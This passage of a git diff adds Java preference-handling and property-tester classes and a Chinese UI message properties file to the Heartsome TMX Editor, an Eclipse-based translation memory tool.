(blnIsApplyDefault) { + selDate = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + } else { + selDate = preferenceStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + } + selectDateSpi.setEnabled(true); + selectDateSpi.setSelection(selDate); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + selectDateSpi.setSelection(1); + btnCheckUpdateWithWeekly.setSelection(true); + btnCheckUpdateWithNever.setSelection(false); + int selWeek; + if (blnIsApplyDefault) { + selWeek = preferenceStore.getDefaultInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + } else { + selWeek = preferenceStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + } + cmbSelectWeek.setEnabled(true); + cmbSelectWeek.select(selWeek - 1); + } else if (intAutoUpdate == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER) { + btnCheckUpdateWithStartup.setSelection(false); + btnCheckUpdateWithMonthly.setSelection(false); + selectDateSpi.setEnabled(false); + btnCheckUpdateWithWeekly.setSelection(false); + cmbSelectWeek.setEnabled(false); + cmbSelectWeek.select(0); + btnCheckUpdateWithNever.setSelection(true); + } + + if (intLanguage == IPreferenceConstants.SYSTEM_LANGUAGE_WITH_EN) { + btnLanguageWithEN.setSelection(true); + btnLanguageWithZHCN.setSelection(false); + } else if (intLanguage == IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN) { + btnLanguageWithEN.setSelection(false); + btnLanguageWithZHCN.setSelection(true); + } + txtSystemUser.setText(strSystemUser); + editorFontSetting.initFont(strEditorFontName, intEdutorFontSize); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/util/PreferenceUtil.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/util/PreferenceUtil.java new file mode 100644 index 0000000..1a1eb6e --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/util/PreferenceUtil.java @@ -0,0 +1,260 @@ +package net.heartsome.cat.te.ui.preferencepage.util; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; +import java.text.Collator; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map.Entry; + +import net.heartsome.cat.common.ui.dialog.HsPreferenceDialog; +import net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.preference.IPreferenceNode; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferenceLabelProvider; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.jface.util.Util; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.IWorkbenchWindow; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 获å–首选项值的工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class PreferenceUtil { + + /** + * 获å–项目属性的文本字段 + * @return ; + */ + public static ArrayList getProjectFieldList() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + ArrayList lstField = new ArrayList(); + int fieldCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.fieldCount"); + if (fieldCount > 0) { + for (int i = 0; i < fieldCount; i++) { + lstField.add(store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field" + i)); + } + } + // å¯¹ä¸­æ–‡æŒ‰æ‹¼éŸ³æŽ’åº + Collator collatorChinese = Collator.getInstance(java.util.Locale.CHINA); + Collections.sort(lstField, collatorChinese); + return lstField; + } + + /** + * 获å–项目属性的属性字段 + * @return key 为属性å称,value ä¸ºå±žæ€§å€¼é›†åˆ + */ + public static LinkedHashMap> getProjectAttributeMap() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + HashMap> mapAttr = new HashMap>(); + int attrNameCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrNameCount"); + // å¯¹ä¸­æ–‡æŒ‰æ‹¼éŸ³æŽ’åº + final Collator collatorChinese = Collator.getInstance(java.util.Locale.CHINA); + LinkedHashMap> linkedMapAttr = new LinkedHashMap>(); + if (attrNameCount > 0) { + for (int i = 0; i < attrNameCount; i++) { + String strAttrName = store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i); + int attrValCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + i + + ".count"); + ArrayList lstAttrVal = new ArrayList(); + if (attrValCount > 0) { + for (int j = 0; j < attrValCount; j++) { + lstAttrVal + .add(store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i + ".attrVal" + j)); + } + } + Collections.sort(lstAttrVal, collatorChinese); + mapAttr.put(strAttrName, lstAttrVal); + } + List>> lstAttr = new ArrayList>>( + mapAttr.entrySet()); + Collections.sort(lstAttr, new Comparator>>() { + + public int compare(Entry> arg0, Entry> arg1) { + return collatorChinese.compare(arg0.getKey(), arg1.getKey()); + } + }); + + for (Entry> entry : lstAttr) { + linkedMapAttr.put(entry.getKey(), entry.getValue()); + } + } + + return linkedMapAttr; + } + + public static void openPreferenceDialog(IWorkbenchWindow window, final String defaultId) { + PreferenceManager mgr = window.getWorkbench().getPreferenceManager(); + mgr.remove("net.heartsome.cat.ui.preferencePages.Perspectives"); + mgr.remove("org.eclipse.ui.preferencePages.Workbench"); + mgr.remove("org.eclipse.update.internal.ui.preferences.MainPreferencePage"); + mgr.remove("org.eclipse.help.ui.browsersPreferencePage"); + final Object[] defaultNode = new Object[1]; + HsPreferenceDialog dlg = new HsPreferenceDialog(window.getShell(), mgr); + dlg.create(); + + final List imageList = new ArrayList(); + dlg.getTreeViewer().setLabelProvider(new PreferenceLabelProvider() { + public Image getImage(Object element) { + String id = ((IPreferenceNode) element).getId(); + if (defaultId != null && id.equals(defaultId)) { + defaultNode[0] = element; + } + Image image = null; + if (SystemPreferencePage.ID.equals(id)) { + // 系统èœå• + image = Activator.getImageDescriptor("images/preference/system/system.png").createImage(); + imageList.add(image); + return image; + } else if ("org.eclipse.ui.preferencePages.Keys".equals(id)) { + // 系统 > å¿«æ·é”®èœå• + image = Activator.getImageDescriptor("images/preference/system/keys.png").createImage(); + imageList.add(image); + return image; + } else if ("org.eclipse.ui.net.proxy_preference_page_context".equals(id)) { + // 网络连接 + image = Activator.getImageDescriptor("images/preference/system/network.png").createImage(); + imageList.add(image); + return image; + } else { + return null; + } + } + }); + + if (defaultNode[0] != null) { + dlg.getTreeViewer().setSelection(new StructuredSelection(defaultNode), true); + dlg.getTreeViewer().getControl().setFocus(); + } + + dlg.open(); + + // 清ç†èµ„æº + for (Image img : imageList) { + if (img != null && !img.isDisposed()) { + img.dispose(); + } + } + imageList.clear(); + } + + + + /** + * 检查 osgi.clean 的值,如果为 true,就改为 false + * @param locale + * ; + */ + public static void checkCleanValue() { + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + return; + } + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + } + + try { + String fileName = location.getFile(); + File file = new File(fileName); + fileName += ".bak"; + file.renameTo(new File(fileName)); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + BufferedWriter out = null; + boolean isFind = false; + try { + String line = in.readLine(); + StringBuffer sbOut = new StringBuffer(); + while (line != null) { + if (line.trim().equals("osgi.clean=true")) { + sbOut.append("osgi.clean=false"); + isFind = true; + } else { + sbOut.append(line); + } + sbOut.append("\n"); + line = in.readLine(); + } + if (isFind) { + out = new BufferedWriter(new FileWriter(location.getFile())); + out.write(sbOut.toString()); + out.flush(); + } + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (out != null) { + try { + out.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + File tmpFile = new File(location.getFile() + ".bak"); + if (isFind) { + if (tmpFile.exists()) { + tmpFile.delete(); + } + } else { + tmpFile.renameTo(new File(location.getFile())); + } + } + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + } + + public static boolean checkEdition() { + String temp = System.getProperty("TSEdition"); + if (!"U".equals(temp) && !"F".equals(temp) && !"P".equals(temp) && !"L".equals(temp)) { + return false; + } else { + return true; + } + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/DataAccessTester.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/DataAccessTester.java new file mode 100644 index 0000000..d2dd3a0 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/DataAccessTester.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.te.ui.propertytester; + +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.expressions.PropertyTester; + +public class DataAccessTester extends PropertyTester { + + public DataAccessTester() { + } + + @Override + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + try { + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + TmxEditor editor = viewer.getTmxEditor(); + AbstractTmxDataAccess acc = editor.getTmxDataAccess(); + return acc instanceof TmxLargeFileDataAccess; + //for debug +// return true; + } catch (NullPointerException e) { + return false; + } + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/SelectFileDataTester.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/SelectFileDataTester.java new file mode 100644 index 0000000..5dac2fd --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/propertytester/SelectFileDataTester.java @@ -0,0 +1,33 @@ +package net.heartsome.cat.te.ui.propertytester; + +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.expressions.PropertyTester; + +public class SelectFileDataTester extends PropertyTester { + + public SelectFileDataTester() { + } + + @Override + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + try { + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + TmxEditor editor = viewer.getTmxEditor(); + AbstractTmxDataAccess acc = editor.getTmxDataAccess(); + if(acc instanceof TmxLargeFileDataAccess){ + if(editor.getSelectIdentifiers().length==0){ + return false; + }else{ + return true; + } + } + return false; + } catch (NullPointerException e) { + return false; + } + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/._message.properties8229007043253471446.tmp b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/._message.properties8229007043253471446.tmp new file mode 100644 index 0000000..81b0d32 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/._message.properties8229007043253471446.tmp @@ -0,0 +1,272 @@ +# add by robert 2013-06-07 +ui.all.dialog.info = \u63d0\u793a +ui.all.dialog.warning = \u8b66\u544a +ui.all.dialog.error = \u9519\u8bef +ui.all.dialog.ok = \u786e\u5b9a +ui.all.dialog.cancel = \u53d6\u6d88 +# add by jason +handler.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 +handler.OpenTmxFileHandler.notUtf8 = \u8BF7\u5148\u5C06\u6587\u4EF6\u8F6C\u6362\u4E3A UTF-8 \u7F16\u7801\u518D\u8FDB\u884C\u6B64\u64CD\u4F5C\u3002 +handler.OpenTmxFileHandler.cantFindEditorViewerMsg = \u7a0b\u5e8f\u6ca1\u6709\u88ab\u6b63\u786e\u521d\u59cb\u5316\uff0c\u91cd\u65b0\u542f\u52a8\u6216\u91cd\u65b0\u5b89\u88c5\u540e\u91cd\u8bd5\u3002 + +# add by robert 2013-06-07 +newTmx.NewTmxFileDialog.title = \u65b0\u5efa TMX +newtmx.NewTmxFileDialog.saveLCLbl = \u4fdd\u5b58\u4f4d\u7f6e\uff1a +newtmx.NewTmxFileDialog.browseBtn = \u6d4f\u89c8(&B)... +newtmx.NewTmxFileDialog.langGroup = \u8bed\u8a00\u9009\u62e9 +newtmx.NewTmxFileDialog.srcLang = \u6e90\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tgtLang = \u76ee\u6807\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tmxLocationNotNull = TMX \u6587\u4ef6\u4fdd\u5b58\u8def\u5f84\u4e0d\u80fd\u4e3a\u7a7a\u3002 +newtmx.NewTmxFileDialog.notSelectSrcLang = \u672a\u9009\u62e9\u6e90\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.notSelectTgtLang = \u672a\u9009\u62e9\u76ee\u6807\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.srcLangEqualsTgtLang = \u6e90\u8bed\u8a00\u4e0d\u80fd\u548c\u76ee\u6807\u8bed\u8a00\u76f8\u540c\u3002 +newtmx.NewTmxFileDialog.tmxExsit = \u6587\u4ef6\u201c{0}\u201d\u5df2\u7ecf\u5b58\u5728\uff0c\u662f\u5426\u8986\u76d6\uff1f +newtmx.NewTmxFileDialog.createSuccess = TMX \u521b\u5efa\u6210\u529f\u3002 +newtmx.NewTmxFileDialog.createFail = TMX \u521b\u5efa\u5931\u8d25\uff0c\u8bf7\u67e5\u770b\u9519\u8bef\u65e5\u5fd7\uff01 + + +# add by Yule +dialog.TmDbManagerDialog.title = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dialog.TmDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TmDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TmDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TmDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TmDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TmDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TmDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TmDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TmDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TmDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TmDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TmDbManagerDialog.tableComposite = \u8bb0\u5fc6\u5e93\u5217\u8868 +dialog.TmDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TmDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TmDbManagerDialog.msg2 = \u5220\u9664\u8be5\u8bb0\u5fc6\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u662f\u5426\u7ee7\u7eed\uff1f +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = \u5220\u9664\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TmDbManagerDialog.importBtn = \u5bfc\u5165 TMX(&I) +dialog.TmDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u3002 +dialog.TmDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TmDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TmDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TmDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TmDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TmDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TmDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TmDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TmDbManagerDialog.msg10 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u6ca1\u6709\u6587\u672c\u6bb5\u3002 +dialog.TmDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u8bb0\u5fc6\u5e93 +dialog.TmDbManagerDialog.inputDbNameialogMsg = \u8bb0\u5fc6\u5e93\u540d\u79f0\uff1a + +### 2013-06-19 Austen Add### +tmxproperties.dialog.dialogTitile = \u5c5e\u6027 +tmxproperties.dialog.resourceTitle = TMX \u5c5e\u6027 +tmxproperties.dialog.version = \u7248\u672c\uff1a +tmxproperties.dialog.location = \u4f4d\u7f6e\uff1a +tmxproperties.dialog.size = \u5927\u5c0f\uff1a +tmxproperties.dialog.createuser = \u521b\u5efa\u8005\uff1a +tmxproperties.dialog.createtime = \u521b\u5efa\u65f6\u95f4\uff1a +tmxproperties.dialog.createtool = \u521b\u5efa\u5de5\u5177\uff1a +tmxproperties.dialog.conuttu = \u7ffb\u8bd1\u5355\u5143\u6570\uff1a +tmxproperties.dialog.sourcelang = \u6e90\u8bed\u8a00\uff1a +tmxproperties.dialog.targetlang = \u76ee\u6807\u8bed\u8a00\uff1a +###### +### 2013-08-14 Austen Add### +dialog.TmxValidatorDialog.label.tmxtitle = \u4fee\u590dTMX\u6587\u4ef6 +dialog.TmxValidatorDialog.label.tmxfile = TMX\u6587\u4ef6\uff1a +dialog.TmxValidatorDialog.label.browse = \u6d4f\u89c8(&R)... +dialog.TmxValidatorDialog.label.verify = \u4FEE\u590D\u6587\u4EF6 +dialog.TmxValidatorDialog.label.clean = \u6e05\u9664\u65e0\u6548\u5b57\u7b26 +dialog.TmxValidatorDialog.label.close = \u5173\u95ed(&C) +dialog.TmxValidatorDialog.label.tmxex = TMX \u6587\u4ef6 [*.tmx] +dialog.TmxValidatorDialog.label.allex = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TmxValidatorDialog.info.cleaning = \u6b63\u5728\u6e05\u7406... +dialog.TmxValidatorDialog.info.error = \u6e05\u7406 {0} \u65f6\u51fa\u73b0\u672a\u77e5\u7684\u9519\u8bef +dialog.TmxValidatorDialog.info.cleandone = \u6587\u4ef6\u5df2\u6e05\u7406. +###### + +###### TmxConvert2FileDialog ############ +###### 2013-07-11 add by yule ############ +dialog.TmxConvert2FileDialog.title=TMX\u6587\u4ef6\u8f6c\u6362\u4e3aDOCX/XLSX/RTF/TXT/TBX +dialog.TmxConvert2FileDialog.waitlist=\u5f85\u8f6c\u6362\u7684TMX\u5217\u8868 +dialog.TmxConvert2FileDialog.add=\u6dfb\u52a0(&A) +dialog.TmxConvert2FileDialog.remove=\u79fb\u9664(&R) +dialog.TmxConvert2FileDialog.convertto=\u8f6c\u6362\u4e3a\uff1a +dialog.TmxConvert2FileDialog.needproperty=\u8f6c\u6362HSTM\u65f6\uff0c\u5305\u542b\u6240\u6709\u7ffb\u8bd1\u5355\u5143\u5c5e\u6027 +dialog.TmxConvert2FileDialog.toothertype=\u5c06\u6240\u6709TMX\u6587\u4ef6\u5185\u5bb9\u8f6c\u6362\u5230\u4e00\u4e2a\u76ee\u6807\u6587\u4ef6 +dialog.TmxConvert2FileDialog.path=\u50a8\u5b58\u8def\u5f84 +dialog.TmxConvert2FileDialog.srcpath=\u4e0e\u539fTMX\u6587\u4ef6\u540c\u4e00\u8def\u5f84 +dialog.TmxConvert2FileDialog.saveaspath=\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u8def\u5f84 +dialog.TmxConvert2FileDialog.browser=\u6d4f\u89c8(&B)... +dialog.TmxConvert2FileDialog.fileType.docx=Microsoft Word \u5de5\u4f5c\u8584(*.DOCX) +dialog.TmxConvert2FileDialog.fileType.csv=\u6587\u672c\u6587\u4ef6(*.CSV) +dialog.TmxConvert2FileDialog.fileType.xlsx=Microsoft Excel \u6587\u6863(*.XLSX) +dialog.TmxConvert2FileDialog.fileType.txt=\u6587\u672c\u6587\u4ef6(*.TXT) +dialog.TmxConvert2FileDialog.fileType.tbx=\u672f\u8bed\u4ea4\u6362\u6587\u4ef6 (*.TBX) +dialog.TmxConvert2FileDialog.fileType.hstm=HS\u8bb0\u5fc6\u5e93\u6587\u4ef6(*.HSTM) + +dialog.TmxConvert2FileDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362\u4efb\u52a1 +dialog.TmxConvert2FileDialog.convert.task.msg2=\u6b63\u5728\u8f6c\u6362\u6587\u4ef6{0}... +dialog.TmxConvert2FileDialog.convert.task.error=\u8f6c\u6362\u51fa\u9519:\n{0} + + +###### Convert2TmxDialog ############ +###### 2013-07-19 add by yule ############ +dialog.Convert2TmxDialog.title=DOCX/XLSX/RTF/TXT/TBX\u6587\u4ef6\u8f6c\u6362\u4e3aTMX +dialog.Convert2TmxDialog.srcLable=\u6e90\u6587\u4ef6 +dialog.Convert2TmxDialog.browserSrcFileBtn=\u6d4f\u89c8(&B) +dialog.Convert2TmxDialog.langGroup=\u8bed\u8a00\u9009\u62e9 +dialog.Convert2TmxDialog.srcLangLable=\u6e90\u8bed\u8a00 +dialog.Convert2TmxDialog.targetLable=\u76ee\u6807\u8bed\u8a00 +dialog.Convert2TmxDialog.addCustomAttributeBtn=\u6dfb\u52a0\u7ffb\u8bd1\u5355\u5143\u81ea\u5b9a\u4e49\u5c5e\u6027 +dialog.Convert2TmxDialog.customAttributeGroup=\u81ea\u5b9a\u4e49\u5c5e\u6027 +dialog.Convert2TmxDialog.conver2NewTmxBtn=\u8f6c\u6362\u6210\u5168\u65b0\u7684TMX +dialog.Convert2TmxDialog.browserNewTmxPathBtn=\u6d4f\u89c8(&B) +dialog.Convert2TmxDialog.appendExistTmxPathBtn=\u8ffd\u52a0\u5230\u5df2\u6709TMX\u4e2d +dialog.Convert2TmxDialog.browserExistTmxPathBtn=\u6d4f\u89c8(&B) +dialog.Convert2TmxDialog.isOpenBtn=\u8f6c\u6362\u5b8c\u6210\u540e\u5728TMXEditor\u4e2d\u6253\u5f00 + +dialog.Convert2TmxDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362\u4efb\u52a1 +dialog.Convert2TmxDialog.convert.task.error=\u8f6c\u6362\u51fa\u9519:\n{0} +dialog.Convert2TmxDialog.taskFinished=\u64cd\u4f5c\u5b8c\u6210\uff01 + +###### BatchJobsDialog \u9700\u8981\u7ffb\u8bd1 ############ +###### 2013-08-06 add by yule start ############ +dialog.BatchJobsDialog.title=\u6279\u91cf\u4efb\u52a1 +dialog.BatchJobsDialog.bacthJobSelection=\u6279\u91cf\u4efb\u52a1\u9009\u9879 +dialog.BatchJobsDialog.deleteEmpty=\u5220\u9664\u7a7a\u884c +dialog.BatchJobsDialog.deleteDuplicate=\u5220\u9664\u91cd\u590d\uff0c\u4fdd\u7559\u6700\u65b0\u6587\u672c\u6bb5 +dialog.BatchJobsDialog.deleteSameSrcDiffTgt=\u5220\u9664\u76f8\u540c\u6e90\u6587\u4e0d\u540c\u8bd1\u6587\u884c\uff0c\u4fdd\u7559\u6700\u65b0\u6587\u672c\u6bb5 +dialog.BatchJobsDialog.trimSegment=\u5220\u9664\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +dialog.BatchJobsDialog.ingoreSelection=\u5ffd\u7565\u9009\u9879 +dialog.BatchJobsDialog.ingoreTag=\u5ffd\u7565\u6807\u8bb0 +###### 2013-08-06 end ############ + + + +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +###### 2013-08-12 add by yule start ############ +preferencepage.SystemPreferencePage.Mon = \u4e00 +preferencepage.SystemPreferencePage.Tue = \u4e8c +preferencepage.SystemPreferencePage.Wed = \u4e09 +preferencepage.SystemPreferencePage.Thu = \u56db +preferencepage.SystemPreferencePage.Fri = \u4e94 +preferencepage.SystemPreferencePage.Sat = \u516d +preferencepage.SystemPreferencePage.Sun = \u65e5 +preferencepage.SystemPreferencePage.groupCommon = \u81ea\u52a8\u66f4\u65b0 +preferencepage.SystemPreferencePage.imageLabel1 = \u5b9a\u671f\u81ea\u52a8\u68c0\u67e5\u672c\u8f6f\u4ef6\u662f\u5426\u6709\u66f4\u65b0\uff1a +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = \u542f\u52a8\u65f6 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = \u6bcf\u6708 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \u53f7 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = \u6bcf\u5468 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = \u4ece\u4e0d +preferencepage.SystemPreferencePage.groupLanguage = \u754c\u9762\u8bed\u8a00 +preferencepage.SystemPreferencePage.imageLabel3 = \u6539\u53d8\u754c\u9762\u8bed\u8a00\u540e\uff0c\u9700\u8981\u91cd\u542f\u8f6f\u4ef6\u624d\u80fd\u751f\u6548\uff1a +preferencepage.SystemPreferencePage.btnLanguageWithEN = \u82f1\u6587 +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = \u7b80\u4f53\u4e2d\u6587 +preferencepage.SystemPreferencePage.groupSystemUser = \u7528\u6237\u540d +preferencepage.SystemPreferencePage.imageLabel4 = \u5728\u66f4\u65b0\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4f7f\u7528\u8be5\u7528\u6237\u540d\u4f5c\u4e3a\u7ffb\u8bd1\u5355\u5143\u7684\u521b\u5efa\u8005/\u4fee\u6539\u8005\uff1a +preferencepage.SystemPreferencePage.lblUser = \u7528\u6237\u540d\uff1a +preferencepage.SystemPreferencePage.msgTitle = \u63d0\u793a +preferencepage.SystemPreferencePage.msgInfo = \u60a8\u5df2\u7ecf\u4fee\u6539\u4e86\u754c\u9762\u8bed\u8a00\uff0c\u8be5\u8bbe\u7f6e\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u624d\u4f1a\u751f\u6548\u3002\u662f\u5426\u91cd\u542f\uff1f +preferencepage.KeysPreferencePage.groupParent = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.imageLabel = \u8981\u81ea\u5b9a\u4e49\u67d0\u4e2a\u529f\u80fd\u7684\u5feb\u6377\u952e\uff0c\u8bf7\u5355\u51fb\u8be5\u529f\u80fd\u7684\u201c\u5feb\u6377\u952e\u201d\u5355\u5143\u683c\u8fdb\u5165\u7f16\u8f91\u72b6\u6001\uff0c\u7136\u540e\u6309\u4e0b\u6240\u9700\u7684\u5feb\u6377\u952e\u7ec4\u5408\uff0c\u70b9\u51fb\u5176\u4ed6\u5730\u65b9\u9000\u51fa\u7f16\u8f91\u72b6\u6001\u5373\u53ef\u3002\u82e5\u8be5\u5feb\u6377\u952e\u7ec4\u5408\u5df2\u88ab\u5176\u4ed6\u529f\u80fd\u4f7f\u7528\uff0c\u5219\u8be5\u884c\u4f1a\u663e\u793a\u4e3a\u7ea2\u8272\u3002 +preferencepage.KeysPreferencePage.toolCategory = \u5de5\u5177 +preferencepage.KeysPreferencePage.toolbarCategory = \u5de5\u5177\u680f +preferencepage.KeysPreferencePage.helpCategory = \u5e2e\u52a9 